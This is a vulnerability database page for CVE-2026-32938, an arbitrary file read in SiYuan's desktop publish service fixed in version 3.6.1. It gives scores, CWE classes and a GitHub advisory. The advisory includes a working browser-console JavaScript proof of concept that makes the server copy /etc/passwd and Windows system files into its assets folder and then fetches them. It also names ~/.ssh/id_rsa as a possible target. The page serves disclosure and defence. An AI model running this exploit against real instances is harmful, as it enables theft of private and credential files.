CVE-2026-32938
JSON

9.9critical

SiYuan has an Arbitrary File Read in its Desktop Publish Service

Severity
9.9critical CVSS:3.1 by GitHub_M
Exploit likelihood
0.47% (higher than 42% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-fq2j-j8hc-8vw8GO-2026-4722

Description

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.

Affected

Product or packageVersionsReported by
siyuan-note siyuan< 3.6.1CVE List
github.com/siyuan-note/siyuan/kernel (Go)up to 0.0.0-20260313024916-fd6526133bb3, all versionsGitHub Advisory Database, Go Vulnerability Database
b3log siyuanbefore 3.6.1NVD

All scores

GitHub_M9.9critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H
GitHub9.9critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H
NVD6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Classification

CWE-22CWE-200CWE-284

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.

GitHub Advisory Database
Summary

In SiYuan, /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.

Details
1. Arbitrary local files copied into workspace
  • Endpoint: POST /api/lute/html2BlockDOM, protected only by model.CheckAuth; publish read-only role is not restricted.
  • Behavior: On desktop (util.ContainerStd == model.Conf.System.Container), local absolute paths from <a href="file://..."> in the HTML are copied to {DataDir}/assets/.
  • Missing check: The code does not call util.IsSensitivePath(localPath) before copying, so any readable file (e.g. /etc/passwd, ~/.ssh/id_rsa) can be copied into assets.
2. Direct access to assets via GET
  • Endpoint: GET /assets/*path (kernel/server/serve.go), protected only by model.CheckAuth; no publish-scope or admin check.
  • Behavior: The path is resolved with model.GetAssetAbsPath("assets" + path) and the file is served with http.ServeFile; any authenticated request (including publish visitors) can access existing asset files.
  • Attack chain: The visitor calls html2BlockDOM to copy a sensitive file into data/assets/, extracts data-href="assets/xxx" from the returned DOM, then requests GET /assets/xxx to retrieve the file content.
PoC
// Run in the browser devtools console while on the SiYuan publish service
(async () => {
  try {
    // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32)
    const sensitiveFiles = [
      'file:///etc/passwd',
      'file:///etc/group',
      'file:///C:/Windows/System32/drivers/etc/hosts',
      'file:///C:/Windows/System32/drivers/etc/services',
    ];
    const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>';
    const r1 = await fetch('/api/lute/html2BlockDOM', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ dom }),
      credentials: 'same-origin',
    });
    const { data } = await r1.json();
    const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]);
    for (const p of paths) {
      const r2 = await fetch('/' + p, { credentials: 'same-origin' });
      if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text()));
    }
  } catch (_) {}
})();
Impact

With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.

Go Vulnerability Database

SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service in github.com/siyuan-note/siyuan/kernel

NVD (es)

SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, la API /api/lute/html2BlockDOM en el escritorio copia archivos locales a los que apuntan los enlaces file:// en HTML pegado al directorio de activos del espacio de trabajo sin validar las rutas contra una lista de rutas sensibles. Junto con GET /assets/*path, que solo requiere autenticación, un visitante del servicio de publicación puede hacer que el kernel del escritorio copie cualquier archivo sensible legible y luego lo lea a través de GET, lo que lleva a la exfiltración de archivos sensibles. Este problema ha sido solucionado en la versión 3.6.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-32938 changed 2026-03-20CVE Terms of Use
GitHub Advisory DatabaseGHSA-fq2j-j8hc-8vw8 changed 2026-03-30CC-BY-4.0
Go Vulnerability DatabaseGO-2026-4722 changed 2026-03-26CC-BY-4.0
NVDCVE-2026-32938 changed 2026-06-17Public domain